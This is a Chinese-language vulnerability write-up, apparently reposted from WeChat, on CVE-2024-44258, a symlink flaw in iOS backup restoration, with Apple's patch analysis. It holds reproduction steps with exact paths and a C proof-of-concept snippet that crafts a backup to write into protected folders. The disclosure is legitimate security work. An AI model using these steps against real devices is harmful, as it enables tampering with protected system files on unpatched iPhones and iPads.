概述
CVE-2024-44258 代表苹果设备中 ManagedConfiguration框架 和 profiled守护程序 的一个符号链接漏洞。在还原一个经过精心设计的备份时,迁移过程未验证目标文件夹是否为符号链接(symlink),导致未经授权的文件迁移到受限区域。
CVE ID
此问题已分配唯一标识符 CVE-2024-44258。CVE 是已公开披露的安全漏洞的独特标识符。
-
影响: 恢复一个恶意设计的备份文件可能会导致系统受保护文件被修改。 -
描述: 通过改进受影响组件中的符号链接处理,该问题已得到解决。
更多信息请参考苹果的官方支持页面:
-
support.apple.com/en-us/121569 -
support.apple.com/en-us/121566 -
support.apple.com/en-us/121563
详细信息
受影响组件:
-
ManagedConfiguration框架 -
profiled守护程序
影响:
该漏洞允许攻击者在备份还原过程中利用符号链接绕过文件夹限制,将文件写入受沙盒保护或受限的区域。该缺陷可能导致未经授权的数据访问、权限提升,或利用其他依赖于已修改配置的服务进行进一步攻击。
复现步骤
-
创建一个精心设计的备份
-
创建一个从以下路径的符号链接: /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
到一个使用域的沙盒文件夹:SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
-
添加所需文件
-
在以下路径中插入文件和文件夹: /private/var/mobile/Library/ConfigurationProfiles
使用 HomeDomain。 -
还原精心设计的备份
-
将备份还原到任何iPhone、iPod或iPad设备。 -
重启设备
-
重启后,检查受限区域的内容,您会发现文件/文件夹已迁移到先前受保护的位置。
预期结果与实际结果
-
预期结果:
/private/var/mobile/Library/ConfigurationProfiles
应迁移至:/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
-
实际结果:
由于精心设计的符号链接,文件迁移到了可能包含敏感或受保护数据的受限文件夹。
漏洞利用状态
该漏洞在 野外已活跃数月,表明已被利用。
补丁说明
在 iOS 18.1 beta5 中,苹果引入了补丁来解决 ManagedConfiguration框架 中的符号链接漏洞。新函数 _MCDestinationPathIsSafeFromSymlinkAttacks
用于对目标路径执行安全检查,防止未经授权的文件迁移至受限区域。此检查专门添加到 MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:
函数中。
受影响函数:-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]
该漏洞修复通过修改 -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]
函数实现,该函数负责 ManagedConfiguration框架 中的文件迁移操作。补丁的工作原理如下:
-
增加符号链接检查
苹果在MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:
开头添加了_MCDestinationPathIsSafeFromSymlinkAttacks
函数调用。该函数现在会验证目标路径是否无符号链接,从而在执行任何迁移操作之前添加了一层保护。 -
条件检查
如果_MCDestinationPathIsSafeFromSymlinkAttacks
检测到目标路径中存在符号链接,它将阻止迁移继续进行。该函数会通过OS_LOG_TYPE_FAULT
记录一个 故障消息 并提前退出,停止文件操作。
代码对比
使用 Diaphora 在 IDA 中对比 iOS 18.1 beta4 与 iOS 18.1 beta5,可以看到 -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]
函数中的变化。以下图片显示了添加符号链接检查后的代码修改。
PoC(概念验证)
以下是一个演示如何制作利用该漏洞的备份的代码片段。此代码展示了如何将符号链接和文件添加到备份中,模拟了过程,但不提供实际的恶意备份文件。
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // THIS NEED TO BE CHANGED TO THE FILE PATH
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // WE ADD OUR FILES
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // CHANGE THE PATH TO THE SANDBOXED FOLDER YOU WANT TO WRITE IN YOUR FILES
backup_write_mbdb(backup); // SAVE THE BACKUP
backup_free(backup);
披露时间线
-
首次报告给苹果: [2024年7月6日] -
CVE分配: CVE-2024-44258 -
公开披露: [2024年11月2日]
致谢
特别感谢苹果安全团队的迅速响应与合作。
漏洞由 Hichem Maloufi 和 Christian Mina 发现
许可证
此存储库根据 MIT 许可证授权。有关更多信息,请参见 LICENSE
文件。
仓库
https://github.com/ifpdz/CVE-2024-44258
原文始发于微信公众号(独眼情报):【PoC】Apple iOS 中严重符号链接漏洞CVE-2024-44258
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论